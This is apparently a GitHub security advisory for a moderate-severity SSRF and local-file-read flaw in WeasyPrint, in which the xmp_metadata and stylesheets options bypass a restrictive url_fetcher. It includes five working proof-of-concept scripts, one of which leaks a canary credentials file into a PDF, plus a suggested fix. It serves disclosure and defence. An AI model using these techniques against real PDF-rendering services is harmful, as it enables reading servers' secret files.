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weasyprint Has Server-Side Request Forgery (SSRF)

Moderate severity GitHub Reviewed Published Sep 8, 2026 in Kozea/WeasyPrint

Package

pip weasyprint (pip)

Affected versions

< 70.0

Patched versions

70.0

Description

Summary

url_fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.

Two write_pdf() channels ignore the document's url_fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:

  • xmp_metadata=[url] - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.
  • stylesheets=[url_or_path] - the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole @import / url() graph.

Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url_fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.

Affected versions

All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.

Root cause

select_source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):

def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):
    ...
    if url_fetcher is None:
        url_fetcher = URLFetcher()

Five of the seven resource-loading sites thread the document's fetcher correctly:

  • <link rel=stylesheet> in weasyprint/css/__init__.py
  • <style> in weasyprint/css/__init__.py
  • @import in weasyprint/css/__init__.py
  • @font-face / local() in weasyprint/text/fonts.py
  • @color-profile src in weasyprint/css/__init__.py
  • images (<img>, CSS url(), SVG) in weasyprint/images.py

Two do not — they build a fresh default fetcher instead:

  • write_pdf(xmp_metadata=[...]) in weasyprint/pdf/__init__.py
  • write_pdf(stylesheets=[str]) in weasyprint/document.py

xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:

if options['xmp_metadata']:
    for url in options['xmp_metadata']:
        result = select_source(url)          # no url_fetcher

stylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():

for css in options['stylesheets'] or []:
    if not hasattr(css, 'matcher'):
        css = CSS(                            # no url_fetcher=html.url_fetcher
            guess=css, media_type=html.media_type,
            font_config=font_config, counter_style=counter_style,
            color_profiles=color_profiles)

Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.

Reproduction

Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.

1 - xmp_metadata= reads a file:// the fetcher blocks

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')
pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)
# -> True

(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)

2 - stylesheets= applies a blocked file:// sheet (with control)

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')

doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))
# -> True

# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;
# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
# gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
            url_fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))
# -> True

3 - the stylesheets= bypass is transitive

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))
# -> True

4 - xmp_metadata= discloses a credentials file in full

import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',
         'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site_config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))
# -> True

An attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.

5 - scope of the stylesheets= channel (honest bound)

The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url_fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888))   # -> True
print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf)                  # -> False

Suggested fix

Route both call sites through the document's url_fetcher, matching the five sites that already do this.

  • pdf/__init__.py - select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrict xmp_metadata to byte strings so no URL fetching occurs.)
  • document.py - CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.

References

@liZe liZe published to Kozea/WeasyPrint Sep 8, 2026
Published to the GitHub Advisory Database Sep 9, 2026
Reviewed Sep 9, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS score

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-55073

GHSA ID

GHSA-jf6q-chmf-3h3v

Source code

Credits

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